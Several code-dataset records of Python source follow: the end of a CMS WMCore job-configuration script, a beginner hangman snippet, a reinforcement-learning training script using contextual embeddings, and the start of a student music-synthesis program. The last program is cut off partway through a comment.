self.logger.info(\"Requested pileup type %s with %d mixing modules\", requestedPileupType, len(modules))\n\n for m in modules:\n self.logger.info(\"Loaded module type: %s\", m.type_())\n for pileupType in self.step.data.pileup.listSections_():\n # there should be either \"input\" or \"secsource\" attributes\n # and both \"MixingModule\", \"DataMixingModule\" can have both\n inputTypeAttrib = getattr(m, \"input\", None) or getattr(m, \"secsource\", None)\n self.logger.info(\"pileupType: %s with input attributes: %s\", pileupType, bool(inputTypeAttrib))\n if not inputTypeAttrib:\n continue\n inputTypeAttrib.fileNames = cms.untracked.vstring()\n if pileupType == requestedPileupType:\n eventsAvailable = 0\n useAAA = True if getattr(self.jobBag, 'trustPUSitelists', False) else False\n self.logger.info(\"Pileup set to read data remotely: %s\", useAAA)\n for blockName in sorted(pileupDict[pileupType].keys()):\n blockDict = pileupDict[pileupType][blockName]\n if PhEDExNodeName in blockDict[\"PhEDExNodeNames\"] or useAAA:\n eventsAvailable += int(blockDict.get('NumberOfEvents', 0))\n for fileLFN in blockDict[\"FileList\"]:\n # vstring does not support unicode\n inputTypeAttrib.fileNames.append(str(fileLFN))\n if requestedPileupType == 'data':\n if getattr(self.jobBag, 'skipPileupEvents', None) is not None:\n # For deterministic pileup, we want to shuffle the list the\n # same for every job in the task and skip events\n random.seed(self.job['task'])\n self.logger.info(\"Skipping %d pileup events for deterministic data mixing\",\n self.jobBag.skipPileupEvents)\n inputTypeAttrib.skipEvents = cms.untracked.uint32(\n int(self.jobBag.skipPileupEvents) % eventsAvailable)\n inputTypeAttrib.sequential = cms.untracked.bool(True)\n # Shuffle according to the seed above or randomly\n random.shuffle(inputTypeAttrib.fileNames)\n self.logger.info(\"Added %s events from the pileup blocks\", eventsAvailable)\n\n # Handle enforceGUIDInFileName for pileup\n self.handleEnforceGUIDInFileName(inputTypeAttrib)\n\n return\n\n def _getPileupMixingModules(self):\n \"\"\"\n Method returns two lists:\n 1) list of mixing modules (\"MixingModule\")\n 2) list of data mixing modules (\"DataMixingModules\")\n The first gets added only pileup files of type \"mc\", the\n second pileup files of type \"data\".\n\n \"\"\"\n mixModules, dataMixModules = [], []\n prodsAndFilters = {}\n prodsAndFilters.update(self.process.producers)\n prodsAndFilters.update(self.process.filters)\n for key, value in prodsAndFilters.items():\n if value.type_() in [\"MixingModule\", \"DataMixingModule\", \"PreMixingModule\"]:\n mixModules.append(value)\n if value.type_() == \"DataMixingModule\":\n dataMixModules.append(value)\n return mixModules, dataMixModules\n\n def _getPileupConfigFromJson(self):\n \"\"\"\n There has been stored pileup configuration stored in a JSON file\n as a result of DBS querrying when running PileupFetcher,\n this method loads this configuration from sandbox and returns it\n as dictionary.\n\n The PileupFetcher was called by WorkQueue which creates job's sandbox\n and sandbox gets migrated to the worker node.\n\n \"\"\"\n workingDir = self.stepSpace.location\n jsonPileupConfig = os.path.join(workingDir, \"pileupconf.json\")\n self.logger.info(\"Pileup JSON configuration file: '%s'\", jsonPileupConfig)\n try:\n with open(jsonPileupConfig) as jdata:\n pileupDict = json.load(jdata)\n except IOError:\n m = \"Could not read pileup JSON configuration file: '%s'\" % jsonPileupConfig\n raise RuntimeError(m)\n return pileupDict\n\n def handleProducersNumberOfEvents(self):\n \"\"\"\n _handleProducersNumberOfEvents_\n\n Some producer modules are initialized with a maximum number of events\n to be generated, usually based on the process.maxEvents.input attribute\n but after that is tweaked the producers number of events need to\n be fixed as well. This method takes care of that.\n \"\"\"\n producers = {}\n producers.update(self.process.producers)\n for producer in producers:\n if hasattr(producers[producer], \"nEvents\"):\n producers[producer].nEvents = self.process.maxEvents.input.value()\n\n def handleDQMFileSaver(self):\n \"\"\"\n _handleDQMFileSaver_\n\n Harvesting jobs have the dqmFileSaver EDAnalyzer that must\n be tweaked with the dataset name in order to store it\n properly in the DQMGUI, others tweaks can be added as well\n \"\"\"\n if not hasattr(self.process, \"dqmSaver\"):\n return\n\n runIsComplete = getattr(self.jobBag, \"runIsComplete\", False)\n multiRun = getattr(self.jobBag, \"multiRun\", False)\n runLimits = getattr(self.jobBag, \"runLimits\", \"\")\n self.logger.info(\"DQMFileSaver set to multiRun: %s, runIsComplete: %s, runLimits: %s\",\n multiRun, runIsComplete, runLimits)\n\n self.process.dqmSaver.runIsComplete = cms.untracked.bool(runIsComplete)\n if multiRun and isCMSSWSupported(self.getCmsswVersion(), \"CMSSW_8_0_0\"):\n self.process.dqmSaver.forceRunNumber = cms.untracked.int32(999999)\n if hasattr(self.step.data.application.configuration, \"pickledarguments\"):\n args = pickle.loads(self.step.data.application.configuration.pickledarguments)\n datasetName = args.get('datasetName', None)\n if datasetName:\n if multiRun:\n # then change the dataset name in order to get a different root file name\n datasetName = datasetName.rsplit('/', 1)\n datasetName[0] += runLimits\n datasetName = \"/\".join(datasetName)\n self.process.dqmSaver.workflow = cms.untracked.string(datasetName)\n return\n\n def handleLHEInput(self):\n \"\"\"\n _handleLHEInput_\n\n Enable lazy-download for jobs reading LHE articles from CERN, such\n that these jobs can read data remotely\n \"\"\"\n if getattr(self.jobBag, \"lheInputFiles\", False):\n self.logger.info(\"Enabling 'lazy-download' for lheInputFiles job\")\n self.process.add_(cms.Service(\"SiteLocalConfigService\",\n overrideSourceCacheHintDir=cms.untracked.string(\"lazy-download\")))\n\n return\n\n def handleRepackSettings(self):\n \"\"\"\n _handleRepackSettings_\n\n Repacking small events is super inefficient reading directly from EOS.\n \"\"\"\n self.logger.info(\"Hardcoding read/cache strategies for repack\")\n self.process.add_(\n cms.Service(\"SiteLocalConfigService\",\n overrideSourceCacheHintDir=cms.untracked.string(\"lazy-download\")\n )\n )\n\n return\n\n def handleSingleCoreOverride(self):\n \"\"\"\n _handleSingleCoreOverride_\n\n Make sure job only uses one core and one stream in CMSSW\n \"\"\"\n try:\n if int(self.step.data.application.multicore.numberOfCores) > 1:\n self.step.data.application.multicore.numberOfCores = 1\n except AttributeError:\n pass\n\n try:\n if int(self.step.data.application.multicore.eventStreams) > 0:\n self.step.data.application.multicore.eventStreams = 0\n except AttributeError:\n pass\n\n return\n\n def handleSpecialCERNMergeSettings(self, funcName):\n \"\"\"\n _handleSpecialCERNMergeSettings_\n\n CERN has a 30ms latency between Meyrin and Wigner, which kills merge performance\n Enable lazy-download for fastCloning for all CMSSW_7_5 jobs (currently off)\n Enable lazy-download for all merge jobs\n \"\"\"\n if self.getCmsswVersion().startswith(\"CMSSW_7_5\") and False:\n self.logger.info(\"Using fastCloning/lazydownload\")\n self.process.add_(cms.Service(\"SiteLocalConfigService\",\n overrideSourceCloneCacheHintDir=cms.untracked.string(\"lazy-download\")))\n elif funcName == \"merge\":\n self.logger.info(\"Using lazydownload\")\n self.process.add_(cms.Service(\"SiteLocalConfigService\",\n overrideSourceCacheHintDir=cms.untracked.string(\"lazy-download\")))\n return\n\n def handleCondorStatusService(self):\n \"\"\"\n _handleCondorStatusService_\n\n Enable CondorStatusService for CMSSW releases that support it.\n \"\"\"\n if isCMSSWSupported(self.getCmsswVersion(), \"CMSSW_7_6_0\"):\n self.logger.info(\"Tag chirp updates from CMSSW with step %s\", self.step.data._internal_name)\n self.process.add_(cms.Service(\"CondorStatusService\",\n tag=cms.untracked.string(\"_%s_\" % self.step.data._internal_name)))\n\n return\n\n def handleEnforceGUIDInFileName(self, secondaryInput=None):\n \"\"\"\n _handleEnforceGUIDInFileName_\n\n Enable enforceGUIDInFileName for CMSSW releases that support it.\n \"\"\"\n # skip it for CRAB jobs\n if self.crabPSet:\n return\n\n if secondaryInput:\n inputSource = secondaryInput\n self.logger.info(\"Evaluating enforceGUIDInFileName parameter for secondary input data.\")\n else:\n inputSource = self.process.source\n\n # only enable if source is PoolSource or EmbeddedRootSource\n if inputSource.type_() not in [\"PoolSource\", \"EmbeddedRootSource\"]:\n self.logger.info(\"Not evaluating enforceGUIDInFileName parameter for process source %s\",\n inputSource.type_())\n return\n\n self.logger.info(\"Evaluating if release %s supports enforceGUIDInFileName parameter...\",\n self.getCmsswVersion())\n\n # enable if release supports enforceGUIDInFileName\n if isEnforceGUIDInFileNameSupported(self.getCmsswVersion()):\n # check to make sure primary input files follow guid naming convention\n # prevents enabling guid checks on some workflows (StoreResults/StepChain) that use custom input file names\n # EmbeddedRootSource input files will always follow guid naming convention\n if inputSource.type_() == \"PoolSource\" and inputSource.fileNames:\n guidRegEx = re.compile(\"[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}.root$\")\n if not guidRegEx.search(inputSource.fileNames[0]):\n self.logger.info(\"Not enabling enforceGUIDInFileName due to non-GUID input file names\")\n return\n self.logger.info(\"Setting enforceGUIDInFileName to True.\")\n inputSource.enforceGUIDInFileName = cms.untracked.bool(True)\n else:\n self.logger.info(\"CMSSW release does not support enforceGUIDInFileName.\")\n\n return\n\n def getCmsswVersion(self):\n \"\"\"\n _getCmsswVersion_\n\n Return a string representing the CMSSW version to be used.\n \"\"\"\n if not self.crabPSet:\n return self.step.data.application.setup.cmsswVersion\n else:\n # CRAB3 needs to use an environment var to get the version\n return os.environ.get(\"CMSSW_VERSION\", \"\")\n\n def __call__(self):\n \"\"\"\n _call_\n\n Examine the step configuration and construct a PSet from that.\n\n \"\"\"\n self.logger.info(\"Executing SetupCMSSWPSet...\")\n self.jobBag = self.job.getBaggage()\n\n scenario = getattr(self.step.data.application.configuration, \"scenario\", None)\n if scenario is not None and scenario != \"\":\n self.logger.info(\"Setting up job scenario/process\")\n funcName = getattr(self.step.data.application.configuration, \"function\", None)\n if getattr(self.step.data.application.configuration, \"pickledarguments\", None) is not None:\n funcArgs = pickle.loads(self.step.data.application.configuration.pickledarguments)\n else:\n funcArgs = {}\n try:\n self.createProcess(scenario, funcName, funcArgs)\n except Exception as ex:\n self.logger.exception(\"Error creating process for Config/DataProcessing:\")\n raise ex\n\n if funcName == \"repack\":\n self.handleRepackSettings()\n\n if funcName in [\"merge\", \"alcaHarvesting\"]:\n self.handleSingleCoreOverride()\n\n if socket.getfqdn().endswith(\"cern.ch\"):\n self.handleSpecialCERNMergeSettings(funcName)\n\n else:\n try:\n self.loadPSet()\n except Exception as ex:\n self.logger.exception(\"Error loading PSet:\")\n raise ex\n\n # Check process.source exists\n if getattr(self.process, \"source\", None) is None:\n msg = \"Error in CMSSW PSet: process is missing attribute 'source'\"\n msg += \" or process.source is defined with None value.\"\n self.logger.error(msg)\n raise RuntimeError(msg)\n\n self.handleCondorStatusService()\n\n self.fixupProcess()\n\n # In case of CRAB3, the number of threads in the PSet should not be overridden\n if not self.crabPSet:\n try:\n origCores = int(getattr(self.step.data.application.multicore, 'numberOfCores', 1))\n eventStreams = int(getattr(self.step.data.application.multicore, 'eventStreams', 0))\n resources = {'cores': origCores}\n resizeResources(resources)\n numCores = resources['cores']\n if numCores != origCores:\n self.logger.info(\n \"Resizing a job with nStreams != nCores. Setting nStreams = nCores. This may end badly.\")\n eventStreams = 0\n options = getattr(self.process, \"options\", None)\n if options is None:\n self.process.options = cms.untracked.PSet()\n options = getattr(self.process, \"options\")\n options.numberOfThreads = cms.untracked.uint32(numCores)\n options.numberOfStreams = cms.untracked.uint32(eventStreams)\n except AttributeError as ex:\n self.logger.error(\"Failed to override numberOfThreads: %s\", str(ex))\n\n psetTweak = getattr(self.step.data.application.command, \"psetTweak\", None)\n if psetTweak is not None:\n self.applyPSetTweak(psetTweak, self.fixupDict)\n\n # Apply task level tweaks\n taskTweak = makeTaskTweak(self.step.data)\n applyTweak(self.process, taskTweak, self.fixupDict)\n\n # Check if chained processing is enabled\n # If not - apply the per job tweaks\n # If so - create an override TFC (like done in PA) and then modify thePSet accordingly\n if hasattr(self.step.data.input, \"chainedProcessing\") and self.step.data.input.chainedProcessing:\n self.handleChainedProcessing()\n else:\n # Apply per job PSet Tweaks\n jobTweak = makeJobTweak(self.job)\n applyTweak(self.process, jobTweak, self.fixupDict)\n\n # check for pileup settings presence, pileup support implementation\n # and if enabled, process pileup configuration / settings\n if hasattr(self.step.data, \"pileup\"):\n self.handlePileup()\n\n # Apply per output module PSet Tweaks\n cmsswStep = self.step.getTypeHelper()\n for om in cmsswStep.listOutputModules():\n mod = cmsswStep.getOutputModule(om)\n outTweak = makeOutputTweak(mod, self.job)\n applyTweak(self.process, outTweak, self.fixupDict)\n\n # revlimiter for testing\n if getattr(self.step.data.application.command, \"oneEventMode\", False):\n self.process.maxEvents.input = 1\n\n # check for random seeds and the method of seeding which is in the job baggage\n self.handleSeeding()\n\n # make sure default parametersets for perf reports are installed\n self.handlePerformanceSettings()\n\n # check for event numbers in the producers\n self.handleProducersNumberOfEvents()\n\n # fixup the dqmFileSaver\n self.handleDQMFileSaver()\n\n # tweak for jobs reading LHE articles from CERN\n self.handleLHEInput()\n\n # tweak jobs for enforceGUIDInFileName\n self.handleEnforceGUIDInFileName()\n\n # Check if we accept skipping bad files\n if hasattr(self.step.data.application.configuration, \"skipBadFiles\"):\n self.process.source.skipBadFiles = \\\n cms.untracked.bool(self.step.data.application.configuration.skipBadFiles)\n\n # Apply events per lumi section if available\n if hasattr(self.step.data.application.configuration, \"eventsPerLumi\"):\n self.process.source.numberEventsInLuminosityBlock = \\\n cms.untracked.uint32(self.step.data.application.configuration.eventsPerLumi)\n\n # limit run time if desired\n if hasattr(self.step.data.application.configuration, \"maxSecondsUntilRampdown\"):\n self.process.maxSecondsUntilRampdown = cms.untracked.PSet(\n input=cms.untracked.int32(self.step.data.application.configuration.maxSecondsUntilRampdown))\n\n # accept an overridden TFC from the step\n if hasattr(self.step.data.application, 'overrideCatalog'):\n self.logger.info(\"Found a TFC override: %s\", self.step.data.application.overrideCatalog)\n self.process.source.overrideCatalog = \\\n cms.untracked.string(self.step.data.application.overrideCatalog)\n\n configFile = self.step.data.application.command.configuration\n configPickle = getattr(self.step.data.application.command, \"configurationPickle\", \"PSet.pkl\")\n workingDir = self.stepSpace.location\n try:\n with open(\"%s/%s\" % (workingDir, configPickle), 'wb') as pHandle:\n pickle.dump(self.process, pHandle)\n\n with open(\"%s/%s\" % (workingDir, configFile), 'w') as handle:\n handle.write(\"import FWCore.ParameterSet.Config as cms\\n\")\n handle.write(\"import pickle\\n\")\n handle.write(\"with open('%s', 'rb') as handle:\\n\" % configPickle)\n handle.write(\" process = pickle.load(handle)\\n\")\n except Exception as ex:\n self.logger.exception(\"Error writing out PSet:\")\n raise ex\n self.logger.info(\"CMSSW PSet setup completed!\")\n\n return 0\n","sub_path":"src/python/WMCore/WMRuntime/Scripts/SetupCMSSWPset.py","file_name":"SetupCMSSWPset.py","file_ext":"py","file_size_in_byte":34326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"582069396","text":"myWord = \"hello\"\r\n\r\nchoice = input(\"Type a word: \")\r\n\r\nif choice == myWord:\r\n\tprint(\"It's a match\")\r\nelse:\r\n\tprint(\"Not a match\")\r\n\r\n# how to check if a letter is in a word\r\nletter = input(\"Type a letter\")\r\nif letter in myWord:\r\n\tprint(\"Letter is in the word\")\r\nelse:\r\n\tprint(\"Letter is not in the word\")\r\n\r\ncount = 0\r\nfor s in myWord:\r\n\tif s == letter:\r\n\t\tprint(count)\r\n\tcount += 1","sub_path":"HangManHints.py","file_name":"HangManHints.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"154873595","text":"# coding:utf-8\nimport time\nimport argparse\nimport tensorflow as tf\nfrom utils import get_time, plot_results\nfrom Agent import Agent\nfrom EADQN import DeepQLearner\nfrom cEnvironment import Environment\nfrom ReplayMemory import ReplayMemory\nfrom gensim.models import KeyedVectors\nfrom tqdm import tqdm\nfrom keras.backend import set_image_data_format\nfrom keras.backend.tensorflow_backend import set_session\nfrom flair.embeddings import WordEmbeddings, FlairEmbeddings, StackedEmbeddings, ELMoEmbeddings, BertEmbeddings, BPEmb, CharacterEmbeddings\n\n\ndef preset_args():\n parser = argparse.ArgumentParser()\n\n envarg = parser.add_argument_group('Environment')\n envarg.add_argument(\"--domain\", type=str, default='cooking', help=\"\")\n envarg.add_argument(\"--contextual_embedding\", type=str, default='elmo', help=\"\")\n envarg.add_argument(\"--model_dim\", type=str, default=50, help=\"embedding dimension\") # word2vec 50.\n envarg.add_argument(\"--num_words\", type=int, default=500, help=\"number of words to consider for act model is 500. Arg model is 100\") # 100 if arguments.\n envarg.add_argument(\"--context_len\", type=int, default=100, help=\"\")\n envarg.add_argument(\"--word_dim\", type=int, default=868, help=\"dim of word embedding\")\n envarg.add_argument(\"--tag_dim\", type=int, default=868, help=\"\")\n envarg.add_argument(\"--dis_dim\", type=int, default=868, help=\"\")\n envarg.add_argument(\"--reward_assign\", type=list, default=[1, 2, 3], help='')\n envarg.add_argument(\"--reward_base\", type=float, default=50.0, help=\"\")\n envarg.add_argument(\"--object_rate\", type=float, default=0.07, help='')\n envarg.add_argument(\"--action_rate\", type=float, default=0.10, help=\"\")\n envarg.add_argument(\"--use_act_rate\", type=int, default=1, help='')\n\n memarg = parser.add_argument_group('Replay memory')\n memarg.add_argument(\"--positive_rate\", type=float, default=0.9, help=\"\")\n memarg.add_argument(\"--priority\", type=int, default=1, help=\"\")\n memarg.add_argument(\"--save_replay\", type=int, default=0, help=\"\")\n memarg.add_argument(\"--load_replay\", type=int, default=0, help=\"\")\n memarg.add_argument(\"--replay_size\", type=int, default=50000, help=\"\")\n memarg.add_argument(\"--save_replay_size\", type=int, default=1000, help=\"\")\n memarg.add_argument(\"--save_replay_name\", type=str, default='data/saved_replay_memory.pkl', help=\"\")\n\n netarg = parser.add_argument_group('Deep Q-learning network')\n netarg.add_argument(\"--batch_size\", type=int, default=32, help=\"\")\n netarg.add_argument(\"--num_filters\", type=int, default=32, help=\"\")\n netarg.add_argument(\"--dense_dim\", type=int, default=256, help=\"\")\n netarg.add_argument(\"--num_actions\", type=int, default=2, help=\"\")\n netarg.add_argument(\"--optimizer\", type=str, default='adam', help=\"\")\n netarg.add_argument(\"--learning_rate\", type=float, default=0.001, help=\"\")\n netarg.add_argument(\"--dropout\", type=float, default=0.5, help=\"\")\n netarg.add_argument(\"--gamma\", type=float, default=0.9, help=\"\")\n\n antarg = parser.add_argument_group('Agent')\n antarg.add_argument(\"--exploration_rate_start\", type=float, default=1, help=\"\")\n antarg.add_argument(\"--exploration_rate_end\", type=float, default=0.1, help=\"\")\n antarg.add_argument(\"--exploration_rate_test\", type=float, default=0.0, help=\"\")\n antarg.add_argument(\"--exploration_decay_steps\", type=int, default=1000, help=\"\")\n antarg.add_argument(\"--train_frequency\", type=int, default=1, help=\"\")\n antarg.add_argument(\"--train_repeat\", type=int, default=1, help=\"\")\n antarg.add_argument(\"--target_steps\", type=int, default=5, help=\"\")\n antarg.add_argument(\"--random_play\", type=int, default=0, help=\"\")\n antarg.add_argument(\"--display_training_result\", type=int, default=1, help='')\n antarg.add_argument(\"--filter_act_ind\", type=int, default=1, help='')\n\n mainarg = parser.add_argument_group('Main loop')\n mainarg.add_argument(\"--gui_mode\", type=bool, default=False, help='')\n mainarg.add_argument(\"--epochs\", type=int, default=1, help=\"\")\n mainarg.add_argument(\"--start_epoch\", type=int, default=0, help=\"\")\n mainarg.add_argument(\"--stop_epoch_gap\", type=int, default=5, help=\"\")\n mainarg.add_argument(\"--train_episodes\", type=int, default=50, help=\"\")\n mainarg.add_argument(\"--load_weights\", type=bool, default=False, help=\"\")\n mainarg.add_argument(\"--save_weights\", type=bool, default=True, help=\"\")\n mainarg.add_argument(\"--agent_mode\", type=str, default='act', help='action dqn or argument dqn')\n\n\n return parser.parse_args()\n\ndef args_init(args):\n # initialize word2vec\n args.word2vec = KeyedVectors.load_word2vec_format('data/mymodel-new-5-%d' % args.model_dim, binary=True)\n\n # initialize contextual embedding dimensions\n if args.contextual_embedding == 'word2vec':\n args.word_dim = args.tag_dim = args.dis_dim = 50\n args.stacked_embeddings = 'word2vec'\n elif args.contextual_embedding == 'elmo': #glove + elmo\n args.word_dim = args.tag_dim = args.dis_dim = 868\n ## stacked embeddings\n # create a StackedEmbedding object that combines glove and forward/backward flair embeddings\n args.stacked_embeddings = StackedEmbeddings([\n WordEmbeddings('glove'),\n ELMoEmbeddings('small')\n ])\n\n elif args.contextual_embedding == 'bert': #glove + bert\n args.word_dim = args.tag_dim = args.dis_dim = 3172\n args.stacked_embeddings = StackedEmbeddings([\n WordEmbeddings('glove'),\n BertEmbeddings('bert-base-uncased')\n ])\n args.batch_size = 8\n\n elif args.contextual_embedding == 'flair': #glove + flair-forward + flair-backward\n args.word_dim = args.tag_dim = args.dis_dim = 4196\n args.stacked_embeddings = StackedEmbeddings([\n WordEmbeddings('glove'),\n FlairEmbeddings('mix-forward', chars_per_chunk=128),\n FlairEmbeddings('mix-backward', chars_per_chunk=128)\n ])\n if args.agent_mode == 'act':\n args.batch_size = 8\n else:\n args.batch_size = 8\n\n elif args.contextual_embedding == 'glove': # not tested\n args.word_dim = args.tag_dim = args.dis_dim = 100\n args.stacked_embeddings = StackedEmbeddings([\n WordEmbeddings('glove'),\n ])\n\n # weights loaded, set exploration rate to minimum\n if args.load_weights: # 1 to 0.1. decayed to minimum.\n args.exploration_rate_start = args.exploration_rate_end\n\n # agent mode arguments, set number of words to 100\n if args.agent_mode == 'arg':\n args.num_words = args.context_len\n args.display_training_result = 0\n\n args.result_dir = 'results/%s_%s_%s' % (args.domain, args.agent_mode, args.contextual_embedding)\n\n return args\n\ndef main(args):\n print('Current time is: %s' % get_time())\n print('Starting at main...')\n result = {'rec': [], 'pre': [], 'f1': [], 'rw': []}\n\n start = time.time()\n\n config = tf.compat.v1.ConfigProto()\n config.gpu_options.allow_growth = True\n set_session(tf.Session(config=config)) # global Keras session\n\n env_act = Environment(args, args.agent_mode)\n net_act = DeepQLearner(args, args.agent_mode, 'channels_last')\n mem_act = ReplayMemory(args, args.agent_mode)\n agent = Agent(env_act, mem_act, net_act, args) # agent takes in environment, memory, model and agent_mode\n\n # loop over epochs\n epoch_result = {'rec': [0.0], 'pre': [0.0], 'f1': [0.0], 'rw': [0.0]}\n training_result = {'rec': [], 'pre': [], 'f1': [], 'loss': [], 'rw': []}\n test_result = {'rec': [], 'pre': [], 'f1': [], 'loss': [], 'rw': []}\n log_epoch = 0\n\n\n # if we are loading weights, we don't need to train [no exploration is required. We have exploration rate start = end = 0.1], just test on test set.\n if args.load_weights:\n print('Loading weights ...')\n filename = 'weights/%s_%s_%s.h5' % (args.domain, args.agent_mode, args.contextual_embedding)\n net_act.load_weights(filename)\n #accuracy on test set\n with open(\"%s.txt\" % (args.result_dir + 'testset'), 'w') as outfile:\n rec, pre, f1, rw = agent.test(args.test_steps, outfile, test_flag=True)\n outfile.write('\\n\\n Test f1 value: {}, recall : {}, precision : {}, reward: {} \\n'.format(f1, rec,pre,rw ))\n print('\\n\\n Test f1 value: {}, recall : {}, precision : {}, reward: {} \\n'.format(f1, rec,pre,rw ))\n\n if not args.load_weights:\n with open(\"%s.txt\" % (args.result_dir), 'w') as outfile:\n print('\\n Arguments:')\n outfile.write('\\n Arguments:\\n')\n for k, v in sorted(args.__dict__.items(), key=lambda x: x[0]):\n print('{}: {}'.format(k, v))\n outfile.write('{}: {}\\n'.format(k, v))\n print('\\n')\n outfile.write('\\n')\n\n # do training\n\n for epoch in tqdm(range(args.start_epoch, args.start_epoch + args.epochs)):\n num_test = -1\n env_act.train_epoch_end_flag = False\n while not env_act.train_epoch_end_flag: #unless all documents are covered\n # training\n num_test += 1\n restart_init = False if num_test > 0 else True\n tmp_result = agent.train(args.train_steps, args.train_episodes, restart_init) #Train episodes = 50 , max episodes.\n for k in training_result:\n training_result[k].extend(tmp_result[k])\n\n rec, pre, f1, rw = agent.test(args.valid_steps, outfile) # not testing; actually validation\n\n if f1 > max(epoch_result['f1']):\n if args.save_weights:\n filename = 'weights/%s_%s_%s.h5' % (args.domain, args.agent_mode, args.contextual_embedding)\n net_act.save_weights(filename)\n\n epoch_result['f1'].append(f1)\n epoch_result['rec'].append(rec)\n epoch_result['pre'].append(pre)\n epoch_result['rw'].append(rw)\n log_epoch = epoch\n outfile.write('\\n\\n Best f1 value: {} best epoch: {}\\n'.format(epoch_result, log_epoch))\n print('\\n\\n Best f1 value: {} best epoch: {}\\n'.format(epoch_result, log_epoch))\n\n # if no improvement after args.stop_epoch_gap, break\n # EARLY STOPPING\n if epoch - log_epoch >= args.stop_epoch_gap:\n outfile.write('\\n\\nBest f1 value: {} best epoch: {}\\n'.format(epoch_result, log_epoch))\n print('\\nepoch: %d result_dir: %s' % (epoch, args.result_dir))\n print('-----Early stopping, no improvement after %d epochs-----\\n' % args.stop_epoch_gap)\n break\n\n # if args.save_replay: #0 by default\n # mem_act.save(args.save_replay_name, args.save_replay_size)\n\n filename = '%s_training_process.pdf' % (args.result_dir)\n plot_results(epoch_result, args.domain, filename)\n outfile.write('\\n\\n training process:\\n{}\\n\\n'.format(epoch_result))\n\n best_ind = epoch_result['f1'].index(max(epoch_result['f1']))\n for k in epoch_result:\n result[k].append(epoch_result[k][best_ind])\n outfile.write('{}: {}\\n'.format(k, result[k]))\n print(('{}: {}\\n'.format(k, result[k])))\n avg_f1 = sum(result['f1']) / len(result['f1'])\n avg_rw = sum(result['rw']) / len(result['rw'])\n outfile.write('\\nAvg f1: {} Avg reward: {}\\n'.format(avg_f1, avg_rw))\n print('\\nAvg f1: {} Avg reward: {}\\n'.format(avg_f1, avg_rw))\n\n tf.compat.v1.reset_default_graph()\n end = time.time()\n print('Total time cost: %ds' % (end - start))\n print('Current time is: %s\\n' % get_time())\n\nif __name__ == '__main__':\n args = args_init(preset_args())\n set_image_data_format('channels_last')\n main(args)\n\n","sub_path":"cmain.py","file_name":"cmain.py","file_ext":"py","file_size_in_byte":12083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"127314558","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nProject: Harmony is digital\nAuthors: Capucine Foucher and Emma Desté\nPromo: EFREI 2025\nRole: this is the main file in charge of :\n- setting the graphic interface,\n- read songs collection from a file,\n- write songs collection in a file,\n- create digital sound using numpy,\n- play sound using simpleaudio.\n\"\"\"\n\nfrom util_notes import *\n\nimport tkinter as tk\nfrom tkinter import Canvas\n\nimport simpleaudio as sa\nimport simpleaudio.functionchecks as fc\n\nimport numpy as np\nfrom numpy import pi\n\nfrom math import sqrt\n\nimport re # regular expression to clean special characters (here carriage return)\n\n# Creation of global variables\n# Simpleaudio variables\nglob_po = 0 # simpleaudio playable object\nsample_rate = 44100 # audio signal is sliced 44100 times per second\n\n# General usage global variable\nglob_collection = [] # all songs in a list of [(tile1, partition1),(title2, partition2),...]\nglob_croche_duration = 0.125 # a croche has a musical duration of 125ms, linked to glob_croche_dur_sv\n\n# Graphic interface variables\nglob_root = tk.Tk()\nglob_lbsong = 0 # listbox with all songs title\nglob_canvas1 = 0 # graphical display of the note beginning\nglob_canvas2 = 0 # graphical display of the entire note\nglob_instrum = tk.StringVar() # instrument name, e.g. \"Organ\"\nglob_inv = tk.StringVar() # inversion ticked box\nglob_transpo = tk.StringVar() # input area for the transposition value, e.g. \"0\" means no transposition\nglob_croche_dur_sv = tk.StringVar() # input area for the croche duration in ms, e.g. \"125\" means 0.125s\n\n\n# Simpleaudio functions\n\ndef sound_test_loudspeakers():\n \"\"\"\n Sound test on left and right loudspeakers\n :return None, drive the audio output\n effect on the program: audible sound played\n \"\"\"\n fc.LeftRightCheck.run()\n\n\ndef sound_test_superposition():\n \"\"\"\n Sound test on superposition of notes\n :return None, drive the audio output\n effect on the program: multiple audible sounds played\n \"\"\"\n fc.OverlappingCheck.run()\n\n\ndef play_note(frequence, musical_duration):\n \"\"\"\n Create the sound of a note based on its frequency, its duration and the instrument used\n :param int frequence: frequency in Hertz\n :param int musical_duration: duration of a note, e.g. 2 for croche, 16 for ronde\n :return None, drive the audio output\n effect on the program: audible sound played\n \"\"\"\n global glob_po\n duration = (musical_duration * glob_croche_duration) / 2 # code duration of croche is 2\n time = np.linspace(0, duration, int(duration * sample_rate), False) # time is a list of time\n # False because we want 1/sample_rate between each value\n if frequence > 0:\n if glob_instrum.get() == \"Sinus\":\n signal = np.sin(frequence * time * 2 * pi)\n elif glob_instrum.get() == \"Rectangles\":\n signal = np.sign(np.sin(time * 2 * pi * frequence))\n elif glob_instrum.get() == \"Organ\":\n signal = 0.4 * (np.sin(time * 2 * pi * frequence)) + 0.5 * (\n np.sin(time * 2 * pi * (frequence / 4))) + 0.1 * (np.sin(time * 2 * pi * (frequence * 4)))\n elif glob_instrum.get() == \"UFO\":\n signal = 0.2 * (np.sin(time * 2 * pi * frequence)) + 0.4 * (\n np.sin(time * 2 * pi * (frequence / sqrt(2)))) + 0.4 * (np.sin(time * 2 * pi * (frequence * sqrt(2))))\n else:\n print(\"Erreur : instrument inconnu\")\n return\n else: # to play nothing (silence)\n signal = time * 0.0 # to generate a flat signal\n\n # envelope : important to differentiate two following same notes (with ears)\n # TODO improved envelope using https: // fr.wikipedia.org / wiki / Enveloppe_sonore\n envelope = np.exp(-time * 3)\n signal = signal * envelope\n draw(signal) # when we are between -1 and 1\n\n tone = signal * 8388607 # 8388607 = 2^23 : to stretch -1,1 to 24 bits\n tone = tone.astype(np.int32) # transform list of floats to list of integers on 32 bits\n\n i = 0\n byte_array = []\n for b in tone.tobytes():\n if i % 4 != 3: # to keep only 3 bytes on 4\n byte_array.append(b)\n i += 1\n audio = bytearray(byte_array)\n\n glob_po = sa.play_buffer(audio, 1, 3, sample_rate) # playobject\n # 1 = number of audio channel : mono,\n # 3 = number of bytes : 3 bytes = 24 bits\n\n if glob_po != 0: # wait for the end of a potential 